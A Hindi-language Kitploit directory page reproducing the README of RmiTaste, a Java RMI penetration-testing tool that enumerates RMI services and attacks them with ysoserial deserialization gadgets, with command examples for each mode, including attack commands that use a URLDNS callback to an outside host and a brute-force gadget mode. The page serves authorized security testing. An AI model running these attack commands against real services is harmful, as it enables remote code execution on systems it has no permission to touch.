Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
RmiTaste — Java RMI सुरक्षा परीक्षण उपकरण जो असुरक्षित RMI सेवाओं का पता लगाने, उनकी गणना करने और उनका शोषण करने के लिए ysoserial डिसीरियलाइज़ेशन गैजेट्स का उपयोग करके रिमोट कोड निष्पादन प्राप्त करता है। | Kitploit
उपकरण/GitHubGitHub/stmcyber/rmitaste
भेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंग
GitHubstmcyber/rmitaste

RmiTaste

Java RMI सुरक्षा परीक्षण उपकरण जो असुरक्षित RMI सेवाओं का पता लगाने, उनकी गणना करने और उनका शोषण करने के लिए ysoserial डिसीरियलाइज़ेशन गैजेट्स का उपयोग करके रिमोट कोड निष्पादन प्राप्त करता है।

रिपॉजिटरी देखेंवेबसाइट
10920115 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

License

RmiTaste

RmiTaste सुरक्षा पेशेवरों को ysoserial के गैजेट के साथ दूरस्थ विधियों को कॉल करके RMI सेवाओं का पता लगाने, गणना करने, बातचीत करने और हमला करने की अनुमति देता है। यह विशिष्ट पैरामीटर के साथ दूरस्थ विधि को कॉल करने की भी अनुमति देता है।

अस्वीकरण

RmiTaste को सुरक्षा पेशेवरों की सहायता करने के लिए लिखा गया था, जिससे वे उन सिस्टमों पर असुरक्षित RMI सेवाओं की पहचान कर सकें, जिन पर उपयोगकर्ता के पास पहले से हमला करने की अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है और RmiTaste का उपयोग सभी प्रासंगिक कानूनों के अनुसार किया जाना चाहिए। ऐसा करने में विफलता के परिणामस्वरूप आप पर मुकदमा चलाया जा सकता है। RmiTaste के डेवलपर्स कोई दायित्व नहीं लेते हैं और इस प्रोग्राम के कारण किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।

निर्माण और रनिंग

openjdk 11.0.3 की आवश्यकता है।

  1. ysoserial-master-SNAPSHOT.jar डाउनलोड करें और इसे libs_attack निर्देशिका में सहेजें (https://github.com/frohoff/ysoserial)।
  2. Maven का उपयोग करके प्रोजेक्ट बनाएं:
    root@kitploit:~
    mvn package
    
  3. कमांड चलाएं:
    root@kitploit:~
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    
    
     __________        ._____________                __
     \______   \ _____ |__\__    ___/____    _______/  |_  ____
     |       _//     \|  | |    |  \__  \  /  ___/\   __\/ __ \
     |    |   \  Y Y  \  | |    |   / __ \_\___ \  |  | \  ___/
     |____|_  /__|_|  /__| |____|  (____  /____  > |__|  \___  >
           \/      \/                  \/     \/            \/
     @author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
    
    चेतावनी: RmiTaste को सुरक्षा पेशेवरों की सहायता करने के लिए लिखा गया था, जिससे वे उन सिस्टमों पर RMI सेवाओं के असुरक्षित उपयोग की पहचान कर सकें, जिन पर उपयोगकर्ता के पास पहले से हमला करने की अनुमति है। RmiTaste का उपयोग सभी प्रासंगिक कानूनों के अनुसार किया जाना चाहिए। ऐसा करने में विफलता के परिणामस्वरूप आप पर मुकदमा चलाया जा सकता है।
             डेवलपर्स कोई दायित्व नहीं लेते हैं और इस प्रोग्राम के कारण किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
    
    

उपयोग

RmiTaste में 4 मोड हैं: conn, enum, attack और call। प्रत्येक मोड के लिए अलग-अलग सहायता है।

root@kitploit:~
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
  -h, --help   यह सहायता संदेश प्रदर्शित करें
Commands:
  conn    होस्ट से कनेक्शन की जांच करें
  enum    RMI सेवा की गणना करें
  attack  RMI रजिस्ट्री विधियों पर हमला करें
  call    RMI दूरस्थ ऑब्जेक्ट पर विशिष्ट विधि को कॉल करें

conn मोड

Conn मोड यह जांचने की अनुमति देता है कि पोर्ट RMI सेवा पोर्ट है या नहीं।

root@kitploit:~
# जांचें कि 127.0.0.1:1099 RMI सेवा है या नहीं
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099

enum मोड

Enum मोड RMI सेवा के बारे में जानकारी प्राप्त करने की अनुमति देता है जैसे: दूरस्थ ऑब्जेक्ट के नाम और क्लास के नाम जिन्हें दूरस्थ ऑब्जेक्ट लागू या विस्तारित करता है। यदि दूरस्थ ऑब्जेक्ट द्वारा लागू इंटरफ़ेस RmiTaste classpath में उपलब्ध है तो RmiTaste उन सभी दूरस्थ विधियों को प्रिंट करेगा जिन्हें आप इस दूरस्थ ऑब्जेक्ट पर कॉल कर सकते हैं।

root@kitploit:~
# RMI सेवा गणना
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

attack मोड

Attack मोड ysoserial से विशिष्ट गैजेट श्रृंखला के साथ दूरस्थ विधि को कॉल करने की अनुमति देता है। मान लें कि दूरस्थ ऑब्जेक्ट में निम्नलिखित विधियां हैं:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# URLDNS गैजेट को पैरामीटर के रूप में उपयोग करके सभी दूरस्थ विधियों को कॉल करें
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
root@kitploit:~
# URLDNS गैजेट को पैरामीटर के रूप में उपयोग करके acc1:m0.rmitaste.example.server.ClientAccount:deposit विधि को कॉल करें
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"

विकल्प "-gen bruteforce" ysoserial के गैजेट के साथ दूरस्थ विधि को ब्रूट फोर्स करने की अनुमति देता है। इस उदाहरण में, deposit विधि को ysoserial के गैजेट के साथ कई बार कॉल किया जाएगा।

root@kitploit:~
# ysoserial के गैजेट और कमांड ping 127.0.0.1 के साथ acc1:m0.rmitaste.example.server.ClientAccount:deposit विधि को कॉल करें
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"

call मोड

Call मोड RMI दूरस्थ ऑब्जेक्ट पर विशिष्ट विधि को कॉल करने की अनुमति देता है। मान लें कि दूरस्थ ऑब्जेक्ट में निम्नलिखित विधियां हैं:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# acc1 दूरस्थ ऑब्जेक्ट पर m0.rmitaste.example.server.ClientAccount.getBalance विधि को कॉल करें
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
root@kitploit:~
# acc1 दूरस्थ ऑब्जेक्ट पर m0.rmitaste.example.server.ClientAccount.setPin("1234") विधि को कॉल करें
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"

उदाहरण

डेमो सर्वर यहां उपलब्ध है।

  1. डेमो सर्वर चलाएं।

  2. लक्ष्य की गणना करें।

root@kitploit:~
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

जैसा कि आप देख सकते हैं, RmiTaste को दूरस्थ ऑब्जेक्ट के इंटरफ़ेस की आवश्यकता है। पेनटेस्ट के दौरान आपको यह इंटरफ़ेस ढूंढना होगा। इस उदाहरण में, बस rmitaste.examples-1.0-SNAPSHOT-all.jar को libs_attack निर्देशिका में कॉपी करें। लक्ष्य की फिर से गणना करें:

root@kitploit:~
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

लेखक

Twitter: @_mzer0

से प्रेरित: BaRMIe और @h0ng10 लेख

टूल डाउनलोड करें